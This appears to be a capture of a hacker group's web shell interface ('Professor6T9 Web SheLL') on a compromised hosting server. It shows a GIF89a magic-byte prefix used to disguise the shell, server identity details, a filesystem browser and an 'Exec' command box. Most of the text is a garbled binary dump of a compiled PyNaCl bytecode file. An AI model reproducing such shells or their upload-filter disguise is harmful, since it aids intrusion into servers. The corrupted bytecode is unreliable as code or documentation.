GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
proc
/
self
/
root
/
opt
/
alt
/
python38
/
lib64
/
python3.8
/
site-packages
/
nacl
/
bindings
/
__pycache__
[ HOME ]
Exec
Submit
crypto_core.cpython-38.pyc
U qX�f�5 � @ s d dl mZ d dlmZmZ d dlmZ eej �Z d Zd Zd Z e rZe�� Ze�� Ze�� Z eed�dd�Zeeed�dd �Zeeed�d d�Zeed�d d�Zeed�dd�Zeed�dd�Zeeed�dd�Zeeed�dd�Zeeed�dd�Zeed�dd�ZdS )� )� exceptions)�ffi�lib)�ensure)�p�returnc C sD t tdtjd� t t| t�o&t| �tkdtjd� t � | �}|dkS )a� Check if ``p`` represents a point on the edwards25519 curve, in canonical form, on the main subgroup, and that the point doesn't have a small order. :param p: a :py:data:`.crypto_core_ed25519_BYTES` long bytes sequence representing a point on the edwards25519 curve :type p: bytes :return: point validity :rtype: bool :raises nacl.exceptions.UnavailableError: If called when using a minimal build of libsodium. �Not available in minimal build�Zraisingz=Point must be a crypto_core_ed25519_BYTES long bytes sequence� )r �has_crypto_core_ed25519�exc�UnavailableError� isinstance�bytes�len�crypto_core_ed25519_BYTES� TypeErrorr �"crypto_core_ed25519_is_valid_point)r �rc� r �L/opt/alt/python38/lib64/python3.8/site-packages/nacl/bindings/crypto_core.pyr # s �� r )r �qr c C s� t tdtjd� t t| t�o<t|t�o<t| �tko<t|�tkd�d�tj d� t �dt�}t� || |�}t |dkdtjd� t �|t�dd� S ) aj Add two points on the edwards25519 curve. :param p: a :py:data:`.crypto_core_ed25519_BYTES` long bytes sequence representing a point on the edwards25519 curve :type p: bytes :param q: a :py:data:`.crypto_core_ed25519_BYTES` long bytes sequence representing a point on the edwards25519 curve :type q: bytes :return: a point on the edwards25519 curve represented as a :py:data:`.crypto_core_ed25519_BYTES` long bytes sequence :rtype: bytes :raises nacl.exceptions.UnavailableError: If called when using a minimal build of libsodium. r r �+Each point must be a {} long bytes sequencer �unsigned char[]r �Unexpected library errorN)r r r r r r r r �formatr r �newr �crypto_core_ed25519_add�RuntimeError�buffer�r r �rr r r r r @ s* � � � ��r c C s� t tdtjd� t t| t�o<t|t�o<t| �tko<t|�tkd�d�tj d� t �dt�}t� || |�}t |dkdtjd� t �|t�dd� S ) ay Subtract a point from another on the edwards25519 curve. :param p: a :py:data:`.crypto_core_ed25519_BYTES` long bytes sequence representing a point on the edwards25519 curve :type p: bytes :param q: a :py:data:`.crypto_core_ed25519_BYTES` long bytes sequence representing a point on the edwards25519 curve :type q: bytes :return: a point on the edwards25519 curve represented as a :py:data:`.crypto_core_ed25519_BYTES` long bytes sequence :rtype: bytes :raises nacl.exceptions.UnavailableError: If called when using a minimal build of libsodium. r r r r r r r N)r r r r r r r r r r r r r �crypto_core_ed25519_subr r r r r r r"